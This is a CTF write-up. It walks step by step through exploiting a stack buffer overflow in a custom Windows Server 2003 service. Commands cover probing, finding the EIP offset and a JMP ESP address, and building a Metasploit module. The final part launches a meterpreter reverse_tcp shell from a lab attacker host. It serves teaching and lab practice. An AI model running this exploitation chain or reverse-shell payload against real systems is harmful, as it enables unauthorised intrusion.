Authors
Hakuza and Mooky
Purpose
This tutorial provides a step-by-step walk-through of the identification of a remotely accessible buffer overflow, information gathering, and the development of a Metasploit module to exploit the vulnerability.
Intended Audience
Minimal skills are necessary to follow this tutorial. This tutorial will be helpful to folks with no prior knowledge of the identification and development of an exploit for a remotely exploitable buffer overflow. Individuals familiar with developing buffer overflow attacks may not benefit from this tutorial.
Background
The NoVA Hackers community developed a capture the flag event the goal of which is to identify a bug in a Windows-based service, develop an exploit, and implement a Metasploit module that will deliver a payload by exploiting the vulnerable application. The service being exploited is a custom application developed specifically for the CTF.
Preparations
In order to follow along with this tutorial, a few tools will be necessary. Below is a description of the lab environment that was used to create this tutorial, however, any configuration that provides the identified tools should be acceptable.
Methodology
This tutorial provides step-by-step instructions for all stages of the development of the exploit.
At each step, the activities performed, the results, and the relevant information (documented as FACTS) are recorded to aide the reader in the understanding of the information gathering activities.
A series of screenshots are provided as well. Click on the screen shot to view full size images.
Lab Environment
Two virtual machines running under VirtualBox were used to develop this tutorial.
I have another blog post detailing how to set up a virtual lab of this variety.
Windows Server 2003
This host will run the vulnerable service and will run a debugger.
Software:
- server.exe (download)
- Immunity Debugger
Configuration:
- Disable Data Execution Prevention (DEP)
BackTrack 4 (download)
Any computer running the software below would be acceptable, but this tutorial was created using a virtual machine running BackTrack 4.
Software:
The Windows Server 2003 host will be referred to as WS2003, and the BackTrack 4 host will be referred to as BT4 for the remainder of the tutorial.
Information Gathering
The first step is to gather some information about the target server, and the targeted service (server.exe).
Determine IP of Target Host
On WS2003 box:
C:\>ipconfig Windows IP Configuration Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . : IP Address. . . . . . . . . . . . : 10.1.0.1 Subnet Mask . . . . . . . . . . . : 255.255.0.0 Default Gateway . . . . . . . . . :
FACT: Target server binds to 10.1.0.1
Determine Service Options and Flags [002]
Clik here to view.
Explore service options
Start server.exe using the command line with various switches.
Try:
C:\> server.exe /h
Nothing
C:\> server.exe /help
Nothing
C:\> server.exe /?
Nothing
C:\> server.exe /debug
Nothing
The service does not expose any meaningful information…
Determine if Service Binds to a Socket
Check netstat before starting server.exe:
Clik here to view.
Network connections without server.exe running
C:\>netstat /a Active Connections Proto Local Address Foreign Address State TCP ws2003:http ws2003:0 LISTENING TCP ws2003:epmap ws2003:0 LISTENING TCP ws2003:microsoft-ds ws2003:0 LISTENING TCP ws2003:1025 ws2003:0 LISTENING TCP ws2003:1026 ws2003:0 LISTENING TCP ws2003:netbios-ssn ws2003:0 LISTENING UDP ws2003:microsoft-ds *:* ... ....
Now, start the server and try again…
Clik here to view.
Network connections with server.exe running
C:\>netstat /a Active Connections Proto Local Address Foreign Address State TCP ws2003:http ws2003:0 LISTENING TCP ws2003:epmap ws2003:0 LISTENING TCP ws2003:microsoft-ds ws2003:0 LISTENING TCP ws2003:1025 ws2003:0 LISTENING TCP ws2003:1026 ws2003:0 LISTENING TCP ws2003:1337 ws2003:0 LISTENING TCP ws2003:netbios-ssn ws2003:0 LISTENING UDP ws2003:microsoft-ds *:* ... ....
FACT: Service binds to TCP port 1337
Probe the Service Using Nmap
On BT4 box:
root@bt:~# nmap -p1-65535 10.1.0.1 Starting Nmap 5.35DC1 ( http://nmap.org ) at 2011-01-14 01:03 EST Nmap scan report for 10.1.0.1 Host is up (0.00034s latency). Not shown: 65528 closed ports PORT STATE SERVICE 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 1025/tcp open NFS-or-IIS 1026/tcp open LSA-or-nterm 1337/tcp open waste MAC Address: 08:00:27:AC:E3:71 (Cadmus Computer Systems) Nmap done: 1 IP address (1 host up) scanned in 36.68 seconds
FACT: Service exposes service name: waste
Probe Service Using Netcat
Clik here to view.
Basic probing with nc
Start server.exe on the WS2003 host, then netcat from the BT4 host to the service on the target server and type a few things…
On WS2003 box:
C:\ctf>server.exe
On BT4 box:
root@bt:~# nc 10.1.0.1 1337 hello hello ECHO Echo echo ECHO Echo echo ^C root@bt:~#
On WS2003 box, notice the output:
Bytes received: 6 Bytes sent: 6 Bytes received: 15 Bytes sent: 15 Connection closing...
FACTS:
server.exe prints the number of bytes received
server.exe echo’s the received bytes back to the client
server.exe prints the number of bytes sent to the client
This means that server.exe is most likely copying data off the wire into some kind of string buffer.
Determine if Vulnerable to Buffer Overflow
Clik here to view.
Overflow attempt with nc
Attempt to send a large amount of data to the service.
The command below generates a string of 5000 A’s and sends them to the target service using Netcat.
On BT4 box:
root@bt:~# perl -e "print 'a' x 5000;" | nc 10.1.0.1 1337 root@bt:~#
On WS2003 box:
C:\ctf>server.exe Bytes received: 2048 C:\ctf>
Hmm… That’s interesting - I sent 5000 a’s but server reports 2048 received, then it closed the connection…
View Error Logs for Additional Information
The full Error Log entries (from the Windows Event Manager) are copied below (at the end of the tutorial). Looks like an overflow.
From the error logs, additional facts can be obtained…
FACTS:
Failure code c0000005 = Access Violation
Fault address 0×61616161
0×61616161 - 61 is hex for ‘a’ - so we overwrote the EIP!
Server.exe vulnerable to, at least, remote Denial of Service (DOS)
Server.exe may be vulnerable to remote code execution via buffer overflow
Verify Vulnerability to Buffer Overflow
Clik here to view.
Verifying buffer overflow
On WS2003 box:
Start Immunity Debugger
Open server.exe
Hit F9
NOTE: In order for this to work, I needed to hit Shift+F9 after starting the run in the debugger. This was the case for every execution of server.exe when using the debugger.
On BT4 box:
root@bt:~# perl -e "print 'a' x 5000;" | nc 10.1.0.2 1337
In Immunity Debugger, notice that:
Both EAX and ESP have values represented as ASCII strings of a’s
EIP has value: 0×61616161
FACT: server.exe is vulnerable to remote buffer overflow, and likely remote code execution
Determine Location of Overflow
At some point, the input filled the memory pointed to by EAX, and EIP, and possibly all of ESP.
The goal of this step is to determine precisely where in the input the value of EIP is overwritten.
If we can determine where EIP is overwritten, and can write custom shellcode into ESP (which should be trivial, since we have already overwritten ESP), then we are golden.
Our goal will be to store shellcode in the buffer pointed to by ESP, and then overwrite EIP with a command to execute the code in ESP (using the call “JMP ESP”).
Metasploit provides the tools pattern_create and pattern_offset that can be used to find the location, in the input stream, where EIP is overwritten.
The tool pattern_create creates a random-valued string of user-defined length. The tool pattern_offset will find the offset of a substring within in a string created using pattern_create.
The EIP register will be overwritten with 4 bytes from our string. We can feed those 4 bytes to pattern_offset to show exactly how many bytes of input are needed prior to EIP being overwritten.
Knowing exactly where EIP is overwritten is crucial to the creation of our exploit.
On WS2003 box:
Start Immunity Debugger
Open server.exe
Hit F9
NOTE: Again, in order for this to work, I needed to hit Shift+F9 after starting the run.
On BT4 box:
root@bt:~# /opt/metasploit3/msf3/tools/pattern_create.rb 5000 > overflow.txt root@bt:~# cat overflow.txt | nc 10.1.0.1 1337
On the WS2003 box, in Immunity Debugger (ID), notice that EIP has value: 0×37694136
Clik here to view.
Determine value in EIP register
This value is Hex representation of the substring from the input written into EIP when the EAX buffer overflowed.
Stop the program in ID.
Clik here to view.
Find offset of the value in EIP
On BT4 box:
root@bt:~# /opt/metasploit3/msf3/tools/pattern_offset.rb 37694136 5000 260
So, at location 260 in the input, the EAX buffer is full, and the next four bytes are written into the EIP register.
FACT: EIP overwrites after 260 input bytes
Test the EIP Overwrite Location
The goal of this step is to verify the location discovered above. We will do this by creating a string of 260 x’s, followed by four a’s, followed by 500 y’s. Our hope is to see the value 0×61616161 in the EIP register.
On WS2003 box:
Start Immunity Debugger
Open server.exe
Hit F9
Hit Shift+F9 after starting the run
On BT4 box:
root@bt:~# perl -e "print 'x' x 260 . 'aaaa' . 'y' x 500" > overflow2.txt root@bt:~# cat overflow2.txt | nc 10.1.0.1 1337
Clik here to view.
Confirm offset location
Notice that EIP has value: 0×61616161
Also, note that EAX points to a string filled with x’s and ESP points to a string of y’s, exactly as we want.
Sweet. We have confirmed that EIP is overwritten after 260 bytes of input, and that we can overwrite both EAX and ESP buffers.
Find Call to JMP ESP
The EIP register holds the location, in memory, of the next instruction to execute.
We have shown that we can overwrite ESP.
We have also shown we can overwrite EIP with any value we want, so we will store some shellcode at the location pointed to by ESP, then fill EIP with the location of a command that simply says “go execute the code in the ESP.”
When the CPU asks IEP the next command to execute, EIP will answer, “it’s at ESP!”
In order to exploit this vulnerability, we will need to write our shellcode into ESP, then fill EIP with a command to jump to the ESP.
We need to find a memory location in server.exe (or one of its loaded modules) that has the command for “JMP ESP.”
Clik here to view.
Locate call to JMP ESP
To do so, load server.exe into Immunity Debugger.
Click Alt+E
For each dll, double click that line in the “Executible modules” window.
Click Ctrl+F
Type: JMP ESP
If you get a hit, note the address location.
Clik here to view.
Call to JMP ESP located
In our case, a call to JMP ESP was found in RPCRT4.dll at location: 0×77C6AFEE
77C6AFEE FFE4 JMP ESP
FACT: Call to JMP ESP is at location: 0×77C6AFEE
Determine Space Available for Shellcode
Our next goal is to determine how much room we have to store shellcode. We hope it is enough to store a common payload.
I’m sure there’s a better way to do this, but…
We’ll re-use our earlier process described in “Determine Location of Overflow” to attempt to determine how much data we can store in ESP.
On WS2003 box:
Set up server.exe in the debugger as described earlier.
On BT4 box:
root@bt:~# cat overflow.txt | nc 10.1.0.1 1337
When the application crashed, the registers had the following values:
Clik here to view.
Register values when server.exe overflows
EAX 0013ECA0 ASCII "Aa0Aa1Aa2Aa3Aa4Aa5Aa..." ECX 0013FDE0 EDX 00000800 EBX 7FFD6000 ESP 0013EDA8 ASCII "Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj..." EBP 69413569 ESI 00000000 EDI 00000000 EIP 37694136
From the CPU window, we can gather address ranges of interest. Offsets gathered by double clicking on the address storing the value of EIP, in our case 0×0013EDA4…
Clik here to view.
Address ranges storing our input to server.exe
Offset Address Hex Val ASCII $-104 0013ECA0 41306141 Aa0A <- beginning of EAX $-100 0013ECA4 61413161 a1Aa ... ... $-8 0013ED9C 41346941 Ai4A $-4 0013EDA0 69413569 i5Ai <- end of EAX $ ==> 0013EDA4 37694136 6Ai7 <- value stored in EIP $+4 0013EDA8 41386941 Ai8A <- beginning of ESP $+8 0013EDAC 6A413969 i9Aj ... ... $+6F4 0013F498 43307143 Cq0C $+6F8 0013F49C 71433171 q1Cq <- end of ESP $+6FC 0013F4A0 FBFAF9F8 øùúû
Note that our offset for the beginning of EAX is 0×104 (base 16) which is 260 base 10, matching what we discovered earlier.
The buffer to which ESP points has length 0×6F8 (base 16) giving us 1784 bytes to store our shellcode.
We can confirm this number using the same method we used to find the offset for EIP earlier:
Take the Hex value at the end of the ESP buffer and find the offset:
root@bt:~# /opt/metasploit3/msf3/tools/pattern_offset.rb 71433171 5000 2044
Calcualate the total space by subtracting the offset of EIP
2044 - 260 = 1784
Sweet.
Also, remember back in the step “Determine if Vulnerable to Buffer Overflow,” when server.exe crashed, it reported, “Bytes received: 2048?”
Well, 260 bytes (EAX) + 4 bytes (EIP) + 1784 bytes (ESP) = 2048. It’s nice that computers are precise :)
FACT: ESP will hold 1784 bytes.
Build Metasploit Exploit Module
Neither author of this tutorial are Metasploit experts. However, developing an exploit module for this overflow will be pretty simple. Mooky provided an excellent write-up on Metasploit module creation. Please read Mooky’s tutorial for details on how this module was developed.
We will find an existing Metasploit module that exploits a simple buffer overflow, then modify it to meet our needs.
The freeftpd_user.rb module is a perfect candidate. The file is in:
/opt/metasploit3/msf3/modules/exploits/windows/ftp
Lets make a new directory for our new module, and get a copy of freeftpd_user.rb, and begin editing… Mooky’s tutorial includes a module template that would work as well. It is commented for easy understanding.
On BT4 box:
root@bt:~# mkdir /opt/metasploit3/msf3/modules/exploits/ctf root@bt:~# cd /opt/metasploit3/msf3/modules/exploits/ctf/ root@bt:/opt/metasploit3/msf3/modules/exploits/ctf# cp ../windows/telnet/goodtech_telnet.rb . root@bt:/opt/metasploit3/msf3/modules/exploits/ctf# ls goodtech_telnet.rb root@bt:/opt/metasploit3/msf3/modules/exploits/ctf# mv goodtech_telnet.rb ctf.rb root@bt:/opt/metasploit3/msf3/modules/exploits/ctf# vi ctf.rb
For ease of use, download the edited Metasploit module.
The facts, discovered above, that we need to develop the exploit:
Filler: 260 bytes
Location of JMP ESP: 0×77C6AFEE
Max Payload: 1784
Server port: 1337
Once done editing the file, save it and test the exploit.
Test Metasploit Exploit Module
Our Metasploit module is created, all we have to do now is to test.
Fortunately, the Metasploit platform makes it very simple to add a payload and exploit the vulnerability. We will use the windows reverse TCP handler as the payload.
On WS2003 box:
Start Immunity Debugger
Open server.exe
Hit F9
Hit Shift+F9 after starting the run
Alternatively, you can simply start server.exe from the command line - outside the debugger. You don’t really need the debugger at this point…
Clik here to view.
Testing the Metasploit module
On BT4 box:
root@bt:/opt/metasploit3/msf3/msfconsole msf > use exploit/ctf/ctf msf exploit(ctf) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(ctf) > set LHOST 10.1.0.2 LHOST => 10.1.0.2 msf exploit(ctf) > set RHOST 10.1.0.1 RHOST => 10.1.0.1 msf exploit(ctf) > exploit [*] Started reverse handler on 10.1.0.2:4444 [*] Trying target Windows Server 2003 English... [*] Sending stage (749056 bytes) to 10.1.0.1 [*] Meterpreter session 1 opened (10.1.0.2:4444 -> 10.1.0.1:1033)...
We can verify we have shell access by comparing a process list generated through meterpreter, and generated through the Windows Server command line.
In our example, notice that the ‘ps’ command run through meterpreter generates the same process list as the Windows Server. Get out the R00t Dance!
On BT4 box:
meterpreter > ps ... 1656 wmiprvse.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\wbem\wmiprvse.exe 400 cmd.exe x86 0 WS2003\Administrator C:\WINDOWS\system32\cmd.exe 996 server.exe x86 0 WS2003\Administrator C:\ctf\server.exe 584 cmd.exe x86 0 WS2003\Administrator C:\WINDOWS\system32\cmd.exe 1960 wmiprvse.exe x86 0 C:\WINDOWS\system32\wbem\wmiprvse.exe
On WS2003 box:
C:\> tasklist ... wmiprvse.exe 1656 Console 0 4,808 K cmd.exe 400 Console 0 1,508 K server.exe 996 Console 0 1,696 K cmd.exe 584 Console 0 1,408 K tasklist.exe 1648 Console 0 3,492 K wmiprvse.exe 1960 Console 0 4,892 K
Note: when you run the exploit, you may get the following output:
[*] Started reverse handler on 10.1.0.2:4444 [*] Trying target Windows Server 2003 English... [*] Exploit completed, but no session was created.
This failure to adequately exploit the vulnerability is the result of ASLR, I believe. Please read on.
In order to successfully run this exploit, you may need to re-start server.exe and try again, possibly several times.
Impact of ASLR and DEP
For the exploit to work, I had to disable DEP on the WS2003 box.
ASLR
With DEP disabled, the exploit still fails roughly 50% of the time - I suspect due to ASLR.
Here are the run results from 20 attempted runs of the exploit module, 1=success, 0=fail: 11100000010101111110
Watching the debugger during test runs, it is clear that the location storing EIP changes for instances where the exploit fails.
DEP
Once I got the exploit working, even with a 50% fail rate under ASLR, I re-enabled DEP to test further.
Results
The exploit fails 100% of the time with DEP enabled, even when it would have worked.
We can confirm that the exploit would have worked by observing the value of EIP when the exploit module is executed.
0013EDA4 77C6AFEE .... RPCRT4.77C6AFEE
So, I suspect that the 50% failure rate is the result of ASLR.
Output of Error Logs
Back in the step, “Determine if Vulnerable to Buffer Overflow,” I mentioned that full error log entries were included… Here they are, partially truncated for brevity. I left some useful instructional tidbits in the Dr. Watson error log message.
The DR. Watson log entry only appears to be created when I crashed server.exe with DEP enabled. I didn’t test this hypothesis, however. In any case, I included the entry, for completeness.
From the error log:
Event Type: Error Event Source: Application Error Event Category: (100) Event ID: 1000 Date: 2/9/2011 Time: 11:01:54 PM User: N/A Computer: WS2003 Description: Faulting application server.exe, version 0.0.0.0, faulting module unknown, version 0.0.0.0, fault address 0x61616161. For more information, see Help and Support Center at http://go.microsoft.com/fwlink/events.asp. Data: 0000: 41 70 70 6c 69 63 61 74 Applicat 0008: 69 6f 6e 20 46 61 69 6c ion Fail 0010: 75 72 65 20 20 73 65 72 ure ser 0018: 76 65 72 2e 65 78 65 20 ver.exe 0020: 30 2e 30 2e 30 2e 30 20 0.0.0.0 0028: 69 6e 20 75 6e 6b 6e 6f in unkno 0030: 77 6e 20 30 2e 30 2e 30 wn 0.0.0 0038: 2e 30 20 61 74 20 6f 66 .0 at of 0040: 66 73 65 74 20 36 31 36 fset 616 0048: 31 36 31 36 31 16161
Dr. Watson error…
Event Type: Information Event Source: DrWatson Event Category: None Event ID: 4097 Date: 2/9/2011 Time: 11:01:54 PM User: N/A Computer: WS2003 Description: The application, C:\ctf\server.exe, generated an application error The error occurred on 02/09/2011 @ 23:01:54.869 The exception generated was c0000005 at address 61616161 () For more information, see Help and Support Center at http://go.microsoft.com/fwlink/events.asp. Data: 0000: 0d 00 0a 00 0d 00 0a 00 ........ 0008: 41 00 70 00 70 00 6c 00 A.p.p.l. 0010: 69 00 63 00 61 00 74 00 i.c.a.t. 0018: 69 00 6f 00 6e 00 20 00 i.o.n. . 0020: 65 00 78 00 63 00 65 00 e.x.c.e. 0028: 70 00 74 00 69 00 6f 00 p.t.i.o. 0030: 6e 00 20 00 6f 00 63 00 n. .o.c. 0038: 63 00 75 00 72 00 72 00 c.u.r.r. 0040: 65 00 64 00 3a 00 0d 00 e.d.:... 0048: 0a 00 20 00 20 00 20 00 .. . . . 0050: 20 00 20 00 20 00 20 00 . . . . 0058: 20 00 41 00 70 00 70 00 .A.p.p. 0060: 3a 00 20 00 43 00 3a 00 :. .C.:. 0068: 5c 00 63 00 74 00 66 00 \.c.t.f. 0070: 5c 00 73 00 65 00 72 00 \.s.e.r. 0078: 76 00 65 00 72 00 2e 00 v.e.r... 0080: 65 00 78 00 65 00 20 00 e.x.e. . 0088: 28 00 70 00 69 00 64 00 (.p.i.d. 0090: 3d 00 32 00 31 00 36 00 =.2.1.6. 0098: 29 00 0d 00 0a 00 20 00 )..... . 00a0: 20 00 20 00 20 00 20 00 . . . . 00a8: 20 00 20 00 20 00 57 00 . . .W. 00b0: 68 00 65 00 6e 00 3a 00 h.e.n.:. 00b8: 20 00 32 00 2f 00 39 00 .2./.9. 00c0: 2f 00 32 00 30 00 31 00 /.2.0.1. 00c8: 31 00 20 00 40 00 20 00 1. .@. . 00d0: 32 00 33 00 3a 00 30 00 2.3.:.0. 00d8: 31 00 3a 00 35 00 34 00 1.:.5.4. 00e0: 2e 00 38 00 36 00 39 00 ..8.6.9. 00e8: 0d 00 0a 00 20 00 20 00 .... . . 00f0: 20 00 20 00 20 00 20 00 . . . . 00f8: 20 00 20 00 45 00 78 00 . .E.x. 0100: 63 00 65 00 70 00 74 00 c.e.p.t. 0108: 69 00 6f 00 6e 00 20 00 i.o.n. . 0110: 6e 00 75 00 6d 00 62 00 n.u.m.b. 0118: 65 00 72 00 3a 00 20 00 e.r.:. . 0120: 63 00 30 00 30 00 30 00 c.0.0.0. 0128: 30 00 30 00 30 00 35 00 0.0.0.5. 0130: 20 00 28 00 61 00 63 00 .(.a.c. 0138: 63 00 65 00 73 00 73 00 c.e.s.s. 0140: 20 00 76 00 69 00 6f 00 .v.i.o. 0148: 6c 00 61 00 74 00 69 00 l.a.t.i. 0150: 6f 00 6e 00 29 00 0d 00 o.n.)... .... 1178: 0d 00 0a 00 65 00 69 00 ....e.i. 1180: 70 00 3d 00 36 00 31 00 p.=.6.1. 1188: 36 00 31 00 36 00 31 00 6.1.6.1. 1190: 36 00 31 00 20 00 65 00 6.1. .e. 1198: 73 00 70 00 3d 00 30 00 s.p.=.0. 11a0: 30 00 31 00 32 00 65 00 0.1.2.e. 11a8: 64 00 61 00 38 00 20 00 d.a.8. . 11b0: 65 00 62 00 70 00 3d 00 e.b.p.=. 11b8: 36 00 31 00 36 00 31 00 6.1.6.1. 11c0: 36 00 31 00 36 00 31 00 6.1.6.1. .... 1a00: 20 00 0d 00 0a 00 57 00 .....W. 1a08: 41 00 52 00 4e 00 49 00 A.R.N.I. 1a10: 4e 00 47 00 3a 00 20 00 N.G.:. . 1a18: 46 00 72 00 61 00 6d 00 F.r.a.m. 1a20: 65 00 20 00 49 00 50 00 e. .I.P. 1a28: 20 00 6e 00 6f 00 74 00 .n.o.t. 1a30: 20 00 69 00 6e 00 20 00 .i.n. . 1a38: 61 00 6e 00 79 00 20 00 a.n.y. . 1a40: 6b 00 6e 00 6f 00 77 00 k.n.o.w. 1a48: 6e 00 20 00 6d 00 6f 00 n. .m.o. 1a50: 64 00 75 00 6c 00 65 00 d.u.l.e. ....